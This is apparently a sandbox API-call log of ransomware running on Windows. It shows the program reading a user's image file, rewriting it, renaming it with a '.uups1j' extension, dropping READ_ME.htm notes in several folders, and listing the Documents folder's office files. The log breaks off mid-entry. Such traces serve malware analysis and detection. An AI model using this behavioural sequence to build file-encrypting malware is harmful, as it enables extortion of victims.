lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu\\XFjBFC5DHjm.png", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu\\XFjBFC5DHjm.png", lpFilePart=0x0) returned 0x48 [0151.503] SetErrorMode (uMode=0x1) returned 0x0 [0151.504] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu\\XFjBFC5DHjm.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\wzrknawu\\xfjbfc5dhjm.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0151.504] GetFileType (hFile=0x1d0) returned 0x1 [0151.504] SetErrorMode (uMode=0x0) returned 0x1 [0151.504] GetFileType (hFile=0x1d0) returned 0x1 [0151.504] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0x2826 [0151.504] ReadFile (in: hFile=0x1d0, lpBuffer=0x29a05b8, nNumberOfBytesToRead=0x2826, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x29a05b8*, lpNumberOfBytesRead=0x21d358*=0x2826, lpOverlapped=0x0) returned 1 [0151.577] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu\\XFjBFC5DHjm.png", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu\\XFjBFC5DHjm.png", lpFilePart=0x0) returned 0x48 [0151.578] SetErrorMode (uMode=0x1) returned 0x0 [0151.578] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu\\XFjBFC5DHjm.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\wzrknawu\\xfjbfc5dhjm.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0151.579] GetFileType (hFile=0x1d0) returned 0x1 [0151.580] SetErrorMode (uMode=0x0) returned 0x1 [0151.580] GetFileType (hFile=0x1d0) returned 0x1 [0151.580] WriteFile (in: hFile=0x1d0, lpBuffer=0x2881ac0*, nNumberOfBytesToWrite=0x2830, lpNumberOfBytesWritten=0x21d3d8, lpOverlapped=0x0 | out: lpBuffer=0x2881ac0*, lpNumberOfBytesWritten=0x21d3d8*=0x2830, lpOverlapped=0x0) returned 1 [0151.582] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu\\XFjBFC5DHjm.png", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu\\XFjBFC5DHjm.png", lpFilePart=0x0) returned 0x48 [0151.582] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu\\XFjBFC5DHjm.png.uups1j", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu\\XFjBFC5DHjm.png.uups1j", lpFilePart=0x0) returned 0x4f [0151.583] SetErrorMode (uMode=0x1) returned 0x0 [0151.583] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu\\XFjBFC5DHjm.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\wzrknawu\\xfjbfc5dhjm.png"), fInfoLevelId=0x0, lpFileInformation=0x21d300 | out: lpFileInformation=0x21d300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99182a80, ftCreationTime.dwHighDateTime=0x1d8b84d, ftLastAccessTime.dwLowDateTime=0xb5064d40, ftLastAccessTime.dwHighDateTime=0x1d8bea5, ftLastWriteTime.dwLowDateTime=0x56d640a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x2830)) returned 1 [0151.583] SetErrorMode (uMode=0x0) returned 0x1 [0151.583] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu\\XFjBFC5DHjm.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\wzrknawu\\xfjbfc5dhjm.png"), lpNewFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu\\XFjBFC5DHjm.png.uups1j" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\wzrknawu\\xfjbfc5dhjm.png.uups1j")) returned 1 [0151.584] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu\\READ_ME.htm", lpFilePart=0x0) returned 0x44 [0151.584] SetErrorMode (uMode=0x1) returned 0x0 [0151.584] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\WZrkNAWu\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\wzrknawu\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0151.601] GetFileType (hFile=0x1d0) returned 0x1 [0151.601] SetErrorMode (uMode=0x0) returned 0x1 [0151.601] GetFileType (hFile=0x1d0) returned 0x1 [0151.601] WriteFile (in: hFile=0x1d0, lpBuffer=0x2888480*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x2888480*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0151.603] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\READ_ME.htm", lpFilePart=0x0) returned 0x3b [0151.603] SetErrorMode (uMode=0x1) returned 0x0 [0151.603] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0151.604] GetFileType (hFile=0x1d0) returned 0x1 [0151.604] SetErrorMode (uMode=0x0) returned 0x1 [0151.604] GetFileType (hFile=0x1d0) returned 0x1 [0151.605] WriteFile (in: hFile=0x1d0, lpBuffer=0x288ca30*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x288ca30*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0151.606] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\READ_ME.htm", lpFilePart=0x0) returned 0x26 [0151.606] SetErrorMode (uMode=0x1) returned 0x0 [0151.606] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\desktop\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0151.607] GetFileType (hFile=0x1d0) returned 0x1 [0151.607] SetErrorMode (uMode=0x0) returned 0x1 [0151.607] GetFileType (hFile=0x1d0) returned 0x1 [0151.607] WriteFile (in: hFile=0x1d0, lpBuffer=0x2890f90*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x2890f90*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0151.609] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents", lpFilePart=0x0) returned 0x1c [0151.609] SetErrorMode (uMode=0x1) returned 0x0 [0151.609] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xcef98b90, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xcef98b90, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0151.610] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xcef98b90, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xcef98b90, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.610] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89e24340, ftCreationTime.dwHighDateTime=0x1d8b760, ftLastAccessTime.dwLowDateTime=0xad6c6be0, ftLastAccessTime.dwHighDateTime=0x1d8bcc6, ftLastWriteTime.dwLowDateTime=0xad6c6be0, ftLastWriteTime.dwHighDateTime=0x1d8bcc6, nFileSizeHigh=0x0, nFileSizeLow=0x5d39, dwReserved0=0x0, dwReserved1=0x0, cFileName="07Yv7eTan0d.xlsx", cAlternateFileName="07YV7E~1.XLS")) returned 1 [0151.610] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5eb4bb0, ftCreationTime.dwHighDateTime=0x1d8a48a, ftLastAccessTime.dwLowDateTime=0xdf82e9d0, ftLastAccessTime.dwHighDateTime=0x1d8bb0c, ftLastWriteTime.dwLowDateTime=0xdf82e9d0, ftLastWriteTime.dwHighDateTime=0x1d8bb0c, nFileSizeHigh=0x0, nFileSizeLow=0x17682, dwReserved0=0x0, dwReserved1=0x0, cFileName="3CgFzZlG5azlFPRBrK.docx", cAlternateFileName="3CGFZZ~1.DOC")) returned 1 [0151.610] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26c0dc0, ftCreationTime.dwHighDateTime=0x1d8b19c, ftLastAccessTime.dwLowDateTime=0xb4f4a740, ftLastAccessTime.dwHighDateTime=0x1d8bd77, ftLastWriteTime.dwLowDateTime=0xb4f4a740, ftLastWriteTime.dwHighDateTime=0x1d8bd77, nFileSizeHigh=0x0, nFileSizeLow=0x11cf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5Lsm7.xlsx", cAlternateFileName="5LSM7~1.XLS")) returned 1 [0151.610] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfec083a0, ftCreationTime.dwHighDateTime=0x1d85943, ftLastAccessTime.dwLowDateTime=0x6cb26020, ftLastAccessTime.dwHighDateTime=0x1d89037, ftLastWriteTime.dwLowDateTime=0x6cb26020, ftLastWriteTime.dwHighDateTime=0x1d89037, nFileSizeHigh=0x0, nFileSizeLow=0xb4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="aZCtR9nIeCkOH6b.xlsx", cAlternateFileName="AZCTR9~1.XLS")) returned 1 [0151.610] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdabb3f60, ftCreationTime.dwHighDateTime=0x1d8a8d3, ftLastAccessTime.dwLowDateTime=0x3a2881e0, ftLastAccessTime.dwHighDateTime=0x1d8ab56, ftLastWriteTime.dwLowDateTime=0x3a2881e0, ftLastWriteTime.dwHighDateTime=0x1d8ab56, nFileSizeHigh=0x0, nFileSizeLow=0x18b02, dwReserved0=0x0, dwReserved1=0x0, cFileName="bjeZGjCALbyoQVDOz.xlsx", cAlternateFileName="BJEZGJ~1.XLS")) returned 1 [0151.610] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23f893f0, ftCreationTime.dwHighDateTime=0x1d84c8e, ftLastAccessTime.dwLowDateTime=0x724615a0, ftLastAccessTime.dwHighDateTime=0x1d88870, ftLastWriteTime.dwLowDateTime=0x724615a0, ftLastWriteTime.dwHighDateTime=0x1d88870, nFileSizeHigh=0x0, nFileSizeLow=0x8d9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAYzC3LmZ5EJN7.pptx", cAlternateFileName="CAYZC3~1.PPT")) returned 1 [0151.610] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8588a0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0151.610] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c6b8890, ftCreationTime.dwHighDateTime=0x1d8c0bc, ftLastAccessTime.dwLowDateTime=0x91562bd0, ftLastAccessTime.dwHighDateTime=0x1d8c0ef, ftLastWriteTime.dwLowDateTime=0x91562bd0, ftLastWriteTime.dwHighDateTime=0x1d8c0ef, nFileSizeHigh=0x0, nFileSizeLow=0x16fb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DG0rAqFzdHUG15.csv", cAlternateFileName="DG0RAQ~1.CSV")) returned 1 [0151.610] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb4951b0, ftCreationTime.dwHighDateTime=0x1d8372a, ftLastAccessTime.dwLowDateTime=0xba90f110, ftLastAccessTime.dwHighDateTime=0x1d8a682, ftLastWriteTime.dwLowDateTime=0xba90f110, ftLastWriteTime.dwHighDateTime=0x1d8a682, nFileSizeHigh=0x0, nFileSizeLow=0xfc98, dwReserved0=0x0, dwReserved1=0x0, cFileName="FQRLvgP_7y0.pptx", cAlternateFileName="FQRLVG~1.PPT")) returned 1 [0151.611] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9eaa9f50, ftCreationTime.dwHighDateTime=0x1d85182, ftLastAccessTime.dwLowDateTime=0x122803a0, ftLastAccessTime.dwHighDateTime=0x1d8afc5, ftLastWriteTime.dwLowDateTime=0x122803a0, ftLastWriteTime.dwHighDateTime=0x1d8afc5, nFileSizeHigh=0x0, nFileSizeLow=0x60f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="FYYNoNjqg.pptx", cAlternateFileName="FYYNON~1.PPT")) returned 1 [0151.611] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77e97da0, ftCreationTime.dwHighDateTime=0x1d8bf96, ftLastAccessTime.dwLowDateTime=0x431c5e20, ftLastAccessTime.dwHighDateTime=0x1d8c032, ftLastWriteTime.dwLowDateTime=0x431c5e20, ftLastWriteTime.dwHighDateTime=0x1d8c032, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="j5g-Xfr8dqgh7T", cAlternateFileName="J5G-XF~1")) returned 1 [0151.611] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2896200, ftCreationTime.dwHighDateTime=0x1d8b70d, ftLastAccessTime.dwLowDateTime=0x35a2c860, ftLastAccessTime.dwHighDateTime=0x1d8bbcd, ftLastWriteTime.dwLowDateTime=0x35a2c860, ftLastWriteTime.dwHighDateTime=0x1d8bbcd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LtH-", cAlternateFileName="")) returned 1 [0151.611] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5d7ce70, ftCreationTime.dwHighDateTime=0x1d85f91, ftLastAccessTime.dwLowDateTime=0xd30d24d0, ftLastAccessTime.dwHighDateTime=0x1d8abf9, ftLastWriteTime.dwLowDateTime=0xd30d24d0, ftLastWriteTime.dwHighDateTime=0x1d8abf9, nFileSizeHigh=0x0, nFileSizeLow=0x5744, dwReserved0=0x0, dwReserved1=0x0, cFileName="lyw0j.docx", cAlternateFileName="LYW0J~1.DOC")) returned 1 [0151.611] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d4a2f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d4a2f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d4a2f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0151.611] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d4a2f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d4a2f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d4a2f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0151.611] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d4a2f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d4a2f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d4a2f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0151.611] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d6f7390, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x21e55d50, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x21e55d50, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0151.611] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863fd30, ftCreationTime.dwHighDateTime=0x1d8bcb6, ftLastAccessTime.dwLowDateTime=0xc0f40f30, ftLastAccessTime.dwHighDateTime=0x1d8bcf1, ftLastWriteTime.dwLowDateTime=0xc0f40f30, ftLastWriteTime.dwHighDateTime=0x1d8bcf1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QblbR", cAlternateFileName="")) returned 1 [0151.611] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1aef1250, ftCreationTime.dwHighDateTime=0x1d8bef5, ftLastAccessTime.dwLowDateTime=0x2bc8f040, ftLastAccessTime.dwHighDateTime=0x1d8c0cc, ftLastWriteTime.dwLowDateTime=0x2bc8f040, ftLastWriteTime.dwHighDateTime=0x1d8c0cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QrYACtUpnNIFjM0C3", cAlternateFileName="QRYACT~1")) returned 1 [0151.611] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3125150, ftCreationTime.dwHighDateTime=0x1d8724d, ftLastAccessTime.dwLowDateTime=0x49e7d500, ftLastAccessTime.dwHighDateTime=0x1d872ca, ftLastWriteTime.dwLowDateTime=0x49e7d500, ftLastWriteTime.dwHighDateTime=0x1d872ca, nFileSizeHigh=0x0, nFileSizeLow=0x11b5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ve9sXdoHpkRTg7q3G9.pptx", cAlternateFileName="VE9SXD~1.PPT")) returned 1 [0151.612] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d04fae0, ftCreationTime.dwHighDateTime=0x1d8bc05, ftLastAccessTime.dwLowDateTime=0xbdd482c0, ftLastAccessTime.dwHighDateTime=0x1d8be7d, ftLastWriteTime.dwLowDateTime=0xbdd482c0, ftLastWriteTime.dwHighDateTime=0x1d8be7d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vqpLNVtnZe", cAlternateFileName="VQPLNV~1")) returned 1 [0151.612] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ca3cc60, ftCreationTime.dwHighDateTime=0x1d8632e, ftLastAccessTime.dwLowDateTime=0xf2a2a80, ftLastAccessTime.dwHighDateTime=0x1d89098, ftLastWriteTime.dwLowDateTime=0xf2a2a80, ftLastWriteTime.dwHighDateTime=0x1d89098, nFileSizeHigh=0x0, nFileSizeLow=0x10ff0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="x Ozq8JBx.docx", cAlternateFileName="XOZQ8J~1.DOC")) returned 1 [0151.612] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc195f9a0, ftCreationTime.dwHighDateTime=0x1d88ccf, ftLastAccessTime.dwLowDateTime=0x52447ac0, ftLastAccessTime.dwHighDateTime=0x1d895d2, ftLastWriteTime.dwLowDateTime=0x52447ac0, ftLastWriteTime.dwHighDateTime=0x1d895d2, nFileSizeHigh=0x0, nFileSizeLow=0x44ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Xy9pNIL0lNohzVp4.docx", cAlternateFileName="XY9PNI~1.DOC")) returned 1 [0151.612] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feba1c0, ftCreationTime.dwHighDateTime=0x1d84870, ftLastAccessTime.dwLowDateTime=0x5e70c190, ftLastAccessTime.dwHighDateTime=0x1d8b897, ftLastWriteTime.dwLowDateTime=0x5e70c190, ftLastWriteTime.dwHighDateTime=0x1d8b897, nFileSizeHigh=0x0, nFileSizeLow=0x2df8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xzzxF rzoZd o7Cf.pptx", cAlternateFileName="XZZXFR~1.PPT")) returned 1 [0151.612] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50fd2320, ftCreationTime.dwHighDateTime=0x1d8628c, ftLastAccessTime.dwLowDateTime=0x2f3ddfd0, ftLastAccessTime.dwHighDateTime=0x1d8c0d9, ftLastWriteTime.dwLowDateTime=0x2f3ddfd0, ftLastWriteTime.dwHighDateTime=0x1d8c0d9, nFileSizeHigh=0x0, nFileSizeLow=0x42e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Y9mBxacR2XeE-IZjW3.xlsx", cAlternateFileName="Y9MBXA~1.XLS")) returned 1 [0151.612] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x487bad80, ftCreationTime.dwHighDateTime=0x1d8a6a1, ftLastAccessTime.dwLowDateTime=0x51df2df0, ftLastAccessTime.dwHighDateTime=0x1d8aa86, ftLastWriteTime.dwLowDateTime=0x51df2df0, ftLastWriteTime.dwHighDateTime=0x1d8aa86, nFileSizeHigh=0x0, nFileSizeLow=0x17a42, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Y_6on3l1.docx", cAlternateFileName="Y_6ON3~1.DOC")) returned 1 [0151.612] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88416670, ftCreationTime.dwHighDateTime=0x1d8bcf0, ftLastAccessTime.dwLowDateTime=0x4a86c000, ftLastAccessTime.dwHighDateTime=0x1d8be6c, ftLastWriteTime.dwLowDateTime=0x4a86c000, ftLastWriteTime.dwHighDateTime=0x1d8be6c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zIcOMqefwIUm", cAlternateFileName="ZICOMQ~1")) returned 1 [0151.612] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88416670, ftCreationTime.dwHighDateTime=0x1d8bcf0, ftLastAccessTime.dwLowDateTime=0x4a86c000, ftLastAccessTime.dwHighDateTime=0x1d8be6c, 